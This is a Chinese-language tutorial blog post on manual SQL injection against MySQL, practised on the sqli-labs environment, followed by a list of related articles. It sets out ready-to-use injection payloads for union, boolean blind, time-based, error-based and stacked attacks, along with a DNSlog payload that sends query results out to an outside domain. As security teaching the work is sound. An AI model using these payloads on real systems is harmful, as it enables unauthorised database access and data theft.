一.什么是SQL注入

 SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,发生SQL注入攻击。本笔记环境为MySQL数据库。

二.MySQL基本增删查改语法

  • 创建与删除数据库

    语法规则

    创建:CREATE DATABASE database_name

    删除:DROP DATABASE database_name
  • 创建与删除表

    语法规则

    创建表:
CREATE TABLE table_name(
#字段1 数据类型,
name VARCHAR(20),
id INT(8)
);
  • 插入数据

    语法规则:INSERT INTO table_name (name,id) VALUES('张三',1);
  • 删除数据

    语法规则:DELETE FROM table_name WHERE id=1;
  • 查询语句

    语法规则:SELECT name FROM table_name WHERE id=1;

三.INFORMATION_SCHEMA库

  • information_schema数据库保存了整个Mysql中的所有信息(Mysql5.0以上),可以理解为信息数据库
  • information_schema数据库表:

    1.SCHEMATA表: 保存了Mysql数据库中所有的库名 SHOW DATABASES;的结果就是取自该表的SCHEMA_NAME





    查库 : select schema_name from information_schema.schemata;

    2.TABLES表: 提供了数据库中每一个库的所有表的名称

    查表 : select table_name from information_schema.tables where table_schema='想查表的库名';

    3.COLUMNS表: 提供了所有库的所有表的所有字段信息

    查列 : select column_name from information_schema.columns where table_name='想查字段的表名';

经过上述三个语句 已经可以查询所有的表和字段信息 就可根据查询语句查询任意信息

栗子: select password,username from security.users; (查询security库中users表中所有password和username信息)

四.MySQL注入常用函数

  • user();/current_user(); 查询当前用户

  • @@basedir; 数据库安装路径 / @@datadir; 数据库路径

  • @@version_compile_os; 查询操作系统版本

  • 字符串拼接函数

    concat , concat_ws(用字符将参数拼接起来) , group_concat

    例如:select group_concat(concat_ws('~',username,password)) from security.users;

  • 字符串截取函数

    substr(从第n位开始,截取m位):select substr((selsect username from users limit 0,1),1,2);

    mid(从第n位开始,截取m位):select mid('martin',2,3);

    left(从左开始,截取n位):select left('martin',2);

    right(从右开始,截取n位):select right('martin',2);

    locate(返回第一个字符串首次出现在第二个字符出现的位置):select locate('martin','12432martin');
  • 返回ASCII字符对应的值(反向用char)

    ascii:select ascii('a');

    ord:select ord('a');

  • 部分计算

    select length(database()); 当前数据库名称的长度

    count 计算数目
  • 延时函数

    select sleep(5); 延时5秒 常用于时间盲注

    if:语法if(exp1,exp2,exp3); 如果exp1为真,执行exp2,否则执行exp3
  • 常见注释
#
--+(浏览器常用)
/*/
/*!*/

五.常见的SQL注入类型

  • 字符型



根据提示 用GET方法提交ID参数



改变URL 发现报错



查看源码



构造URL:http://127.0.0.1/sqli/Less-1/?id=1' and 1 = 1 --+(1=1 正常 1=2报错)

  • 数字型

    查看第二关源码



    发现与第一关不同的是 id参数数据类型发生了变化 所以构造URL

  • 搜索型

    常见源码 :$sql="select * from user where password like '%$pwd%' order by password";

    若用户输入m'and 1=1 and '%'=' 则会构成注入

    源码中的语句会变成:select * from user where password like '%m'and 1=1 and '%'='%' order by password

六.常用的注入方式

  • union注入
  1. 使用order by语句进行列数的估计





    由此可以看出 列数为3列
  2. 使用union注入(union selectunion all select)



    根据前述数据库查询语句 查询有哪些数据库 表名 进而查询详细数据

  • 布尔盲注(页面无回显,返回的只有布尔值)

    在id后加' 没有出现回显



    判断是否存在注入与union类似 可以使用length来猜取库名 表名长度 如下图



    判断出长度 使用substr来遍历出数据库名的字符

    构造:?id=1' and ascii(substr(database(),1,1))>n --+ (使用BP爆破)
  • 时间盲注 (基于Web界面响应的时间差来判断注入)



    看出sleep函数已经被带入后端处理了 证明存在注入

    构造URL:http://localhost/sqli/Less-9/?id=1%27%20and%20if%20(length(database())=8,sleep(5),1)--+



    大体步骤同布尔盲注 只是构造的函数和判断方式改变了一下
  • DNSlog盲注

    利用条件 mysql.inisecure_file_priv必须为空

    构造payload:load_file(concat('\\\\',执行的语句,'.自行注册\\abc'))--+
  • 报错注入 (公式化注入 直接插入payload)

    1)updatexml payload:?id=1' and (updatexml(1,concat(0x7e,(SQL语句),0x7e),1));--+



    2)extractvalue

    payload:?id=1' and (extractvalue(1,concat(0x7e,(SQL语句),0x7e)));--+

  1. floor

    payload:?id=1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

  • 宽字节注入 (gbk要两个asscii组合解码)

    特殊字符被转义 如:



    因为使用GBK编码 /被合并成了特殊字符

  • 二次注入

    将存储到数据库中的数据取出在执行 形成的注入
  • http请求头注入

    抓包修改http请求头 构成注入
  • 堆叠注入 (多条sql一起执行 可以修改数据库中的数据)

    如图 新建了一个test表目


以上 就是一些常见的SQL注入知识点

基础Web漏洞-SQL注入入门(手工注入篇)的更多相关文章

  1. 了解web漏洞-sql注入

    1:为什么要学web漏洞? 作为一个运维人员,日常工作就是保障服务器和网站的业务正常运行,平时也需要对服务器的安全工作加固,说到防护攻击问题,那么久必须去了解攻击者是怎么对服务器发动的一个流程,这样才 ...

  2. SQL注入之手工注入

    手工注入 用的是墨者学院的靶场:传送门 涉及以下数据库: MySQL.Access.SqlServer(MSSQL).SQLite.MongoDB.Db2(IBM).PostgreSQL.Sybase ...

  3. sql工具和手工注入总结

    普通注入: 数字注入 字符注入 base64注入:和常规的方法没有说明区别,主要是解码然后编码: 如果普通注入不行,尝试大小写绕过,编码等绕过: 如果不行尝试盲注: POST注入 0x00 常用的 注 ...

  4. WEB漏洞——SQL

    由于我的博客是学到渗透的时候才做的,没有关于WEB漏洞的笔记,现在发现WEB层面的漏洞有些不太熟悉了,边写一下笔记边复习一下,就从sql注入开始吧 话不多说先上大佬写的表[ctfhub]SQL注入 - ...

  5. 手工注入——MySQL手工注入实战和分析

    今天进行了MySQL手工注入实战,分享一下自己的实战过程和总结,这里环境使用的是墨者学院的在线靶场.话不多说,咱们直接开始. 第一步,判断注入点 通过 ' 和构造 and 1=1 和 and 1=2 ...

  6. 手工注入——access手工注入实战和分析

    今天进行了access手工注入,下面是我的实战过程和总结. 实战环境使用的是墨者学院的在线靶场.下面咱们直接进入主题. 第一步,判断注入点 通过‘ 或者 and 1=1 和 and 1=2 是否报错, ...

  7. pikachu-字符型注入(get) #手工注入

    1.检测注入类型 http://127.0.0.1/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2 ...

  8. pikachu-数字型注入(post)#手工注入

    1, 因为是post型,所以需要抓取数据包 2, 测试结果为数字型注入 提交恒等的语句可以查询到所有的数据信息 3, 使用UNION联合查询法 判断字段数,测试为2个字段时没有报错,所以可以判断字段数 ...

  9. MSSQLServer基础02(SQL语句入门(脚本、命令))

    SQL 全名是结构化查询语言(Structured Query Language),是关系数据库管理系统的标准语言 SQL语句是和DBMS“交谈”专用的语句,不同DBMS都认SQL语法. SQL语句中 ...

随机推荐

  1. 从零搭建Spring Boot脚手架(7):整合OSS作为文件服务器

    1. 前言 文件服务器是一个应用必要的组件之一.最早我搞过FTP,然后又用过FastDFS,接私活的时候我用MongoDB也凑合凑合.现如今时代不同了,开始流行起了OSS. Gitee: https: ...

  2. 牛客网数据库SQL实战解析(51-61题)

    牛客网SQL刷题地址: https://www.nowcoder.com/ta/sql?page=0 牛客网数据库SQL实战解析(01-10题): https://blog.csdn.net/u010 ...

  3. java23种设计模式—— 一、设计模式介绍

    Java23种设计模式全解析 目录 java23种设计模式-- 一.设计模式介绍 java23种设计模式-- 二.单例模式 java23种设计模式--三.工厂模式 java23种设计模式--四.原型模 ...

  4. 远程调试在Linux车机中的应用

    导读 在软件开发过程中,调试是必不可少的环节,嵌入式操作系统的调试与桌面操作系统的调试相比有很大差别,嵌入式系统的可视化调试能力比桌面操作系统要弱一点.对于导航这种业务场景比较复杂的程序开发,可视化调 ...

  5. frozenset冻结集合函数

    1.描述 frozenset()返回一个冻结的集合,冻结后不能添加.删除和修改. set()无序且不重复,是可以变的,有add.remove.扩展:删除重复数据,还可以计算交集.差集.并集等 2.函数 ...

  6. Python编程进阶,Python如何实现多进程?

    进程part1 一.进程介绍 1.获取子父进程 2.进程的基本使用 2.创建带有参数的进程 3.进程之间的数据彼此隔离 4.多个进程之间的异步并发 二.join 1.基本语法 2.使用自定义类的方法创 ...

  7. Selenium处理文件上传、弹框

    一.文件上传 上传标签是input时,可以直接使用send_keys(文件path)的方法来进行上传 二.弹框处理 页面操作中,有时会遇到JavaScript生成的alert.confirm以及pro ...

  8. Fitness - 05.08

    倒计时237天 运动34分钟,共计8组,3.4公里.拉伸10分钟. 每组跑步2分钟(6.6KM/h),走路2分钟(6KM/h). 最近掉了几斤,所以今天状态感觉特别好. 虽然每天在拼命学习Unity, ...

  9. CVPR2020 面向密集多角度物体检测的动态修正网络(DRN)

    论文链接:https://arxiv.org/pdf/2005.09973.pdf code:https://github.com/Anymake/DRN_CVPR2020 文章概要: 本文是中科院自 ...

  10. Linux—账号管理及命令使用详解

    关注微信公众号:CodingTechWork,一起学习进步. 引言   在Linux系统中,我们常常会看到目录或文件的所属关系: [root@linux01 ~]# ll -d test.sh -rw ...